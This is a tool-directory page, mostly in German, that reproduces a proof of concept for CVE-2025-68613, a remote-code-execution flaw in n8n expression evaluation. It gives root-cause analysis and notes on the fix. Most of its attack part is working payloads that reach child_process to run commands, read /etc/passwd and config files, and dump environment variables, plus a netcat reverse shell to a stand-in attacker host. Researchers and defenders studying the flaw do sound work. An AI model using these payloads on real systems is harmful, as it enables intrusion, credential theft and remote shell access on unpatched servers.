Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-68613-poc-via-copilot — # Detaillierte technische Analyse und Proof-of-Concept für CVE-2025-68613, eine kritische RCE-Schwachstelle in der n8n-Ausdrucksauswertung über IIFE-this-Kontext-Umgehung. Enthält Ursachenanalyse, Exploit-Vektoren und Empfehlungen zur Abschwächung. | Kitploit
Tools/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

# Detaillierte technische Analyse und Proof-of-Concept für CVE-2025-68613, eine kritische RCE-Schwachstelle in der n8n-Ausdrucksauswertung über IIFE-this-Kontext-Umgehung. Enthält Ursachenanalyse, Exploit-Vektoren und Empfehlungen zur Abschwächung.

Repository anzeigen
11vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

✅ CVE-2025-68613 n8n Expression Injection RCE – Vollständige Schwachstellenanalyse

Datum: 23. Dezember 2024 Status: ✅ RCE vollständig verifiziert CVSS-Score: 10.0 (Kritisch)


🎉 Erfolgreiches RCE-Payload

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Ausführungsergebnis: Systembenutzerinformationen erfolgreich zurückgegeben (z. B. uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Detaillierte Analyse des Schwachstellenprinzips

Kernschwachstelle: Der this-Kontext von sofort ausgeführten Funktionen (IIFE) wird nicht bereinigt

1. Ablauf der Ausdrucksauswertung

用户输入
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
创建 data 上下文对象
  ↓
data.process = 真实的 process 对象引用
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ 关键: this = data
  ↓
立即执行函数执行
  ↓
this.process.mainModule.require ← ⚠️ 访问真实 require
  ↓
加载 child_process 模块
  ↓
execSync('id') ← 🔥 完整 RCE!

2. Wichtige Codestellen

Position 1: Erstellung des Datenkontexts

Datei: packages/workflow/src/expression.ts Funktion: Expression.resolveSimpleParameterValue() Zeilen: ca. 230–290

// 生成数据代理
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ 漏洞点 1: 添加 process 对象到 data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ 问题: 虽然这里只暴露了部分属性,但传递的是对象引用
// 实际的 process 对象仍然可以通过原型链或其他方式访问
Position 2: Tournament-Auswertung

Datei: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ 漏洞点 2: 将 data 作为 this 传递
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ 漏洞点 3: 使用 new Function 创建函数
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Position 3: Fehlende this-Bereinigung

Datei: packages/workflow/src/expression-sandboxing.ts

Vor v1.122.0:

// ❌ 没有 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← 空数组,没有 this sanitization
	after: [PrototypeSanitizer, DollarSignValidator],
});

Nach v1.122.0:

// ✅ 添加了 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← 新增的 hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// FunctionThisSanitizer 实现
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// 重写所有函数表达式,显式绑定 this 到安全对象
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// 将 function() { ... } 改写为 function() { ... }.bind({ process: {} })
		}
	});
};
Position 4: Unvollständige Eigenschafts-Blacklist

Datei: packages/workflow/src/utils.ts Funktion: isSafeObjectProperty()

Vor v1.122.0:

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ 缺少 mainModule, binding, _load

Nach v1.122.0:

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ 新增
	'binding',       // ✅ 新增
	'_load'          // ✅ 新增
]);

💣 Vollständige Exploit-Techniken

1. Basis-RCE

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Beliebige Befehle ausführen

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. Dateisystemzugriff

// 读取敏感文件
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// 列出目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// 读取 n8n 配置
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// 列出当前目录
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Vollständige Offenlegung von Umgebungsvariablen (in Kombination mit früheren Erkenntnissen)

// 通过 this.process 直接访问
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// 或使用已知可用的方式
{
	{
		JSON.stringify(process.env)
	}
}

5. Netzwerkzugriff (Vorbereitung einer Reverse Shell)

// 检查网络工具
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// 获取网络接口
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// 反弹 Shell (⚠️ 危险!仅用于授权测试)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Zusammenfassung der Verifizierungsergebnisse der Schwachstelle

✅ Bestätigte ausnutzbare Angriffsvektoren

#AngriffstypPayloadStatusCVSS
1Umgebungsvariablen-Leak{{ Object.keys(process.env) }}✅ Erfolgreich8.5
2Constructor-Bypass{{ [][constructor] }}✅ Erfolgreich8.0
3Function-Konstruktor{{ [][constructor][constructor] }}✅ Erfolgreich8.5
4Codeausführung{{ [][constructor][constructor]('return 1+1')() }}✅ Erfolgreich9.0
5Vollständige RCE{{ (function() { this.process.mainModule.require... })() }}✅ Erfolgreich10.0

❌ Verhinderte Angriffe (in Ihren Tests)

Tool herunterladen